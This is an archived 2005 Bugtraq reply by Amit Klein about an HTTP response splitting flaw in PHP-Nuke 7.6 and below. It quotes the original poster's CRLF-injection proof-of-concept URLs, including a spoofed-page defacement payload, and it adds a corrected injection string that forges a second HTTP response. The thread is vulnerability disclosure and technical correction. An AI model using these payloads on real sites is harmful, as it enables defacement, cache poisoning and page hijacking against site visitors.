bugtraq - Re: Http Response Splitting Vulnerability In PHP-NUKE 7.6 and below

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [day] [month] [year] [list]

Message-ID: <426287F6.12769.688747@localhost>
Date: Sun, 17 Apr 2005 15:59:50 +0200
From: "Amit Klein (AKsecurity)" <aksecurity@...pop.com>
To: bugtraq@...urityfocus.com, dcrab <dcrab@...kerscenter.com>
Subject: Re: Http Response Splitting Vulnerability In PHP-NUKE 7.6 and below

On 16 Apr 2005 at 3:30, dcrab wrote:

[...]

> A simple POC can be as follows,
> 
> http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3EHELLO I AM VULNERABLE TO HTTP RESPONSE SPLITTING%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5

This particular injection isn't really HTTP response splitting. It's 
basically HTTP header+body injection (and it contains raw spaces in 
the URL, which is not a good idea). No second (valid) HTTP response 
is created here. Moreover, since the context is a 302 redirecrtion 
HTTP response, the HTML data is not rendered by IE (see the thread 
CSS before redirect by Thomas Schreiber (BugTraq posting),
http://www.securityfocus.com/archive/107/336744).

If you simply want to demostrate that HTTP header injection is 
possible (which usually means that HTTP response splitting is 
posisble), you may want to use the Set-Cookie header (this technique 
is described in my writeup "Detecting and Testing HTTP Response 
Splitting Using a Browser" 
(http://www.securityfocus.com/archive/107/378523).

Of course, it IS possible to turn this attack into HTTP response 
splitting, e.g. by sending the following injection string:

%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aContent-
Length:%2061%0d%0a%0d%0a%3Chtml%3EHELLO%20I%20AM%20VULNERABLE%20TO%20 
HTTP%20RESPONSE%20SPLITTING%3C/html%3E

> 
> A more serious version involving Cross user defacement, cache poisoning and page hijacking can be,
> 
> http://localhost/modules.php?name=Surveys&pollID=1&forwarder=%0d%0a%0d%0a%3Chtml%3E<title>This is a spoofed site </title> <body bgcolor=black><font size=10 color=blue> Welcome to my PHP Nuke Website, This is a spoofed page that you are seeing and can be used for great evils details about which can be read in http://www.digitalparadox.org/papers.ah Http Response Splitting by Diabolic Crab. </center> Feel free to contact me about this vulnerablitiy at dcrab {at} hackerscenter [dot] com<font 
color=black>%3C/html%3E&voteID=1&voteID=2&voteID=3&voteID=4&voteID=5
> 
>

Again, the above holds.

Thanks,
-Amit